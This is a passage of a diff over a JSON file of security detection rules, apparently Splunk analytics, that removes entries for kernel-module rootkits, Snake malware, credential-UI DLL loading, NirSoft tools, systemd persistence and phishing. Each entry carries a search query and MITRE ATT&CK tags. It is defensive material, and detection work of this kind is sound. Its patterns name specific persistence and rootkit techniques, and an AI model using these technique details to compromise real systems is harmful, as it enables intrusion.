`prohibited_network_traffic_allowed_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Prohibited Traffic Allowed or Protocol Mismatch", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Protocol or Port Mismatch", - "description": "The following analytic identifies network traffic where the higher layer protocol does not match the expected port, such as non-HTTP traffic on TCP port 80. It leverages data from network traffic inspection technologies like Bro or Palo Alto Networks firewalls. This activity is significant because it may indicate attempts to bypass firewall restrictions or conceal malicious communications. If confirmed malicious, this behavior could allow attackers to evade detection, maintain persistence, or exfiltrate data through commonly allowed ports, posing a significant threat to network security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where (All_Traffic.app=dns NOT All_Traffic.dest_port=53) OR ((All_Traffic.app=web-browsing OR All_Traffic.app=http) NOT (All_Traffic.dest_port=80 OR All_Traffic.dest_port=8080 OR All_Traffic.dest_port=8000)) OR (All_Traffic.app=ssl NOT (All_Traffic.dest_port=443 OR All_Traffic.dest_port=8443)) OR (All_Traffic.app=smtp NOT All_Traffic.dest_port=25) by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.dest_port |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `protocol_or_port_mismatch_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Prohibited Traffic Allowed or Protocol Mismatch" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -518559,283 +355221,6 @@ "https://www.stigviewer.com/stig/oracle_linux_5/2016-12-20/finding/V-22383", "https://man7.org/linux/man-pages/man2/init_module.2.html" ] - }, - { - "name": "Linux File Created In Kernel Driver Directory", - "description": "The following analytic detects the creation of files in the Linux kernel/driver directory. It leverages filesystem data to identify new files in this critical directory. This activity is significant because the kernel/driver directory is typically reserved for kernel modules, and unauthorized file creation here can indicate a rootkit installation. If confirmed malicious, this could allow an attacker to gain high-level privileges, potentially compromising the entire system by executing code at the kernel level.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/kernel/drivers/*\") by Filesystem.dest Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_file_created_in_kernel_driver_directory_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Linux Rootkit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Insert Kernel Module Using Insmod Utility", - "description": "The following analytic detects the insertion of a Linux kernel module using the insmod utility. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include process names and command-line details. This activity is significant as it may indicate the installation of a rootkit or malicious kernel module, potentially allowing an attacker to gain elevated privileges and bypass security detections. If confirmed malicious, this could lead to unauthorized code execution, persistent access, and severe compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"kmod\", \"sudo\") AND Processes.process = *insmod* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_insert_kernel_module_using_insmod_utility_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Linux Rootkit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may install kernel module on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Install Kernel Module Using Modprobe Utility", - "description": "The following analytic detects the installation of a Linux kernel module using the modprobe utility. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because installing a kernel module can indicate an attempt to deploy a rootkit or other malicious kernel-level code, potentially leading to elevated privileges and bypassing security detections. If confirmed malicious, this could allow an attacker to gain persistent, high-level access to the system, compromising its integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"kmod\", \"sudo\") AND Processes.process = *modprobe* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_install_kernel_module_using_modprobe_utility_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Linux Rootkit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may install kernel module on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Snake Malware Kernel Driver Comadmin", - "description": "The following analytic detects the creation of the comadmin.dat file in the %windows%\\system32\\Com directory, which is associated with Snake Malware. This detection leverages the Endpoint.Filesystem data model to identify file creation events matching the specified path and filename. This activity is significant because the comadmin.dat file is part of Snake Malware's installation process, which includes dropping a kernel driver and a custom DLL. If confirmed malicious, this activity could allow an attacker to load a malicious driver, potentially leading to privilege escalation and persistent access to the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path=\"*\\\\windows\\\\system32\\\\com\\\\*\" AND Filesystem.file_name=\"comadmin.dat\" by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_snake_malware_kernel_driver_comadmin_filter`", - "tags": { - "analytic_story": [ - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A kernel driver comadmin.dat related to Snake Malware was written to disk on $dest$.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Snake Malware Service Create", - "description": "The following analytic detects the creation of a new service named WerFaultSvc with a binary path in the Windows WinSxS directory. It leverages Windows System logs, specifically EventCode 7045, to identify this activity. This behavior is significant because it indicates the presence of Snake malware, which uses this service to maintain persistence by blending in with legitimate Windows services. If confirmed malicious, this activity could allow an attacker to execute Snake malware components, leading to potential data exfiltration, system compromise, and long-term persistence within the environment.", - "search": "`wineventlog_system` EventCode=7045 ImagePath=\"*\\\\windows\\\\winSxS\\\\*\" ImagePath=\"*\\Werfault.exe\" | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ImagePath ServiceName ServiceType | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_snake_malware_service_create_filter`", - "tags": { - "analytic_story": [ - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A service, WerFaultSvc, was created on $dest$ and is related to Snake Malware.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.006", - "mitre_attack_technique": "Kernel Modules and Extensions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -519119,63 +355504,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Windows Input Capture Using Credential UI Dll", - "description": "The following analytic detects a process loading the credui.dll or wincredui.dll module. This detection leverages Sysmon EventCode 7 to identify instances where these DLLs are loaded by processes outside typical system directories. This activity is significant because adversaries often abuse these modules to create fake credential prompts or dump credentials, posing a risk of credential theft. If confirmed malicious, this activity could allow attackers to harvest user credentials, leading to unauthorized access and potential lateral movement within the network.", - "search": "`sysmon` EventCode=7 (ImageLoaded = \"*\\\\credui.dll\" AND OriginalFileName = \"credui.dll\") OR (ImageLoaded = \"*\\\\wincredui.dll\" AND OriginalFileName = \"wincredui.dll\") AND NOT(Image IN(\"*\\\\windows\\\\explorer.exe\", \"*\\\\windows\\\\system32\\\\*\", \"*\\\\windows\\\\sysWow64\\\\*\", \"*:\\\\program files*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded OriginalFileName dest EventCode Signed ProcessId ProcessGuid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_input_capture_using_credential_ui_dll_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ loaded $ImageLoaded$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1056.002", - "mitre_attack_technique": "GUI Input Capture", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN4" - ] - }, - { - "mitre_attack_id": "T1056", - "mitre_attack_technique": "Input Capture", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "APT39" - ] - } - ] - } } ], "external_reference": [ @@ -519409,272 +355737,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Windows NirSoft AdvancedRun", - "description": "The following analytic detects the execution of AdvancedRun.exe, a tool with capabilities similar to remote administration programs like PsExec. It identifies the process by its name or original file name and flags common command-line arguments. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. Monitoring this activity is crucial as AdvancedRun can be used for remote code execution and configuration-based automation. If malicious, this could allow attackers to execute arbitrary commands, escalate privileges, or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=advancedrun.exe OR Processes.original_file_name=advancedrun.exe) Processes.process IN (\"*EXEFilename*\",\"*/cfg*\",\"*RunAs*\", \"*WindowState*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_nirsoft_advancedrun_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Ransomware", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of advancedrun.exe, $process_name$, was spawned by $parent_process_name$ on $dest$ by $user$.", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1588.002", - "mitre_attack_technique": "Tool", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT19", - "APT28", - "APT29", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "Aoqin Dragon", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Cleaver", - "Cobalt Group", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "GALLIUM", - "Gorgon Group", - "HEXANE", - "Inception", - "IndigoZebra", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Lazarus Group", - "Leafminer", - "LuminousMoth", - "Magic Hound", - "Metador", - "Moses Staff", - "MuddyWater", - "POLONIUM", - "Patchwork", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "TA2541", - "TA505", - "Threat Group-3390", - "Thrip", - "Turla", - "Volt Typhoon", - "WIRTE", - "Whitefly", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows NirSoft Utilities", - "description": "The following analytic identifies the execution of commonly used NirSoft utilities on Windows systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution details such as process name, parent process, and command-line arguments. This activity is significant for a SOC because NirSoft utilities, while legitimate, can be used by adversaries for malicious purposes like credential theft or system reconnaissance. If confirmed malicious, this activity could lead to unauthorized access, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_path Processes.process_id Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `is_nirsoft_software_macro` | `windows_nirsoft_utilities_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ related to NiRSoft software usage.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1588.002", - "mitre_attack_technique": "Tool", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT19", - "APT28", - "APT29", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "Aoqin Dragon", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Cleaver", - "Cobalt Group", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "GALLIUM", - "Gorgon Group", - "HEXANE", - "Inception", - "IndigoZebra", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Lazarus Group", - "Leafminer", - "LuminousMoth", - "Magic Hound", - "Metador", - "Moses Staff", - "MuddyWater", - "POLONIUM", - "Patchwork", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "TA2541", - "TA505", - "Threat Group-3390", - "Thrip", - "Turla", - "Volt Typhoon", - "WIRTE", - "Whitefly", - "Wizard Spider", - "menuPass" - ] - } - ] - } } ], "external_reference": [], @@ -520918,194 +356980,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Linux Service File Created In Systemd Directory", - "description": "The following analytic detects the creation of suspicious service files within the systemd directories on Linux platforms. It leverages logs containing file name, file path, and process GUID data from endpoints. This activity is significant for a SOC as it may indicate an adversary attempting to establish persistence on a compromised host. If confirmed malicious, this could lead to system compromise or data exfiltration, allowing attackers to maintain control over the system and execute further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name = *.service Filesystem.file_path IN (\"*/etc/systemd/system*\", \"*/lib/systemd/system*\", \"*/usr/lib/systemd/system*\", \"*/run/systemd/system*\", \"*~/.config/systemd/*\", \"*~/.local/share/systemd/*\",\"*/etc/systemd/user*\", \"*/lib/systemd/user*\", \"*/usr/lib/systemd/user*\", \"*/run/systemd/user*\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_service_file_created_in_systemd_directory_filter`", - "tags": { - "analytic_story": [ - "Gomir", - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A service file named as $file_path$ is created in systemd folder on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.006", - "mitre_attack_technique": "Systemd Timers", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Service Restarted", - "description": "The following analytic detects the restarting or re-enabling of services on Linux systems using the `systemctl` or `service` commands. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line execution logs. This activity is significant as adversaries may use it to maintain persistence or execute unauthorized actions. If confirmed malicious, this behavior could lead to repeated execution of malicious payloads, unauthorized access, or data destruction. Security analysts should investigate these events to mitigate risks and prevent further compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN (\"systemctl\", \"service\") OR Processes.process IN (\"*systemctl *\", \"*service *\")) Processes.process IN (\"*restart*\", \"*reload*\", \"*reenable*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_service_restarted_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction", - "Gomir", - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may create or start a service on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.006", - "mitre_attack_technique": "Systemd Timers", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Service Started Or Enabled", - "description": "The following analytic detects the creation or enabling of services on Linux platforms using the systemctl or service tools. It leverages Endpoint Detection and Response (EDR) logs, focusing on process names, parent processes, and command-line executions. This activity is significant as adversaries may create or modify services to maintain persistence or execute malicious payloads. If confirmed malicious, this behavior could lead to persistent access, data theft, ransomware deployment, or other damaging outcomes. Monitoring and investigating such activities are crucial for maintaining the security and integrity of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN (\"systemctl\", \"service\") OR Processes.process IN (\"*systemctl *\", \"*service *\")) Processes.process IN (\"* start *\", \"* enable *\") AND NOT (Processes.os=\"Microsoft Windows\" OR Processes.vendor_product=\"Microsoft Windows\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_service_started_or_enabled_filter`", - "tags": { - "analytic_story": [ - "Gomir", - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ that may create or start a service on $dest", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.006", - "mitre_attack_technique": "Systemd Timers", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } } ], "external_reference": [ @@ -521862,5477 +357736,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "Suspicious Email Attachment Extensions", - "description": "The following analytic detects emails containing attachments with suspicious file extensions. It leverages the Email data model in Splunk, using the tstats command to identify emails where the attachment filename is not empty. This detection is significant for SOC analysts as it highlights potential phishing or malware delivery attempts, which are common vectors for data breaches and malware infections. If confirmed malicious, this activity could lead to unauthorized access to sensitive information, system compromise, or data exfiltration. Immediate review and analysis of the identified emails and attachments are crucial to mitigate these risks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Email where All_Email.file_name=\"*\" by All_Email.src_user, All_Email.file_name All_Email.message_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Email\")` | `suspicious_email_attachments` | `suspicious_email_attachment_extensions_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Emotet Malware DHS Report TA18-201A", - "Hermetic Wiper", - "Suspicious Emails" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Azure AD Device Code Authentication", - "description": "The following analytic identifies Azure Device Code Phishing attacks, which can lead to Azure Account Take-Over (ATO). It leverages Azure AD SignInLogs to detect suspicious authentication requests using the device code authentication protocol. This activity is significant as it indicates potential bypassing of Multi-Factor Authentication (MFA) and Conditional Access Policies (CAPs) through phishing emails. If confirmed malicious, attackers could gain unauthorized access to Azure AD, Exchange mailboxes, and Outlook Web Application (OWA), leading to potential data breaches and unauthorized data access.", - "search": "`azure_monitor_aad` category=SignInLogs \"properties.authenticationProtocol\"=deviceCode | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user src_ip, appDisplayName, userAgent | `security_content_ctime(firstTime)` | 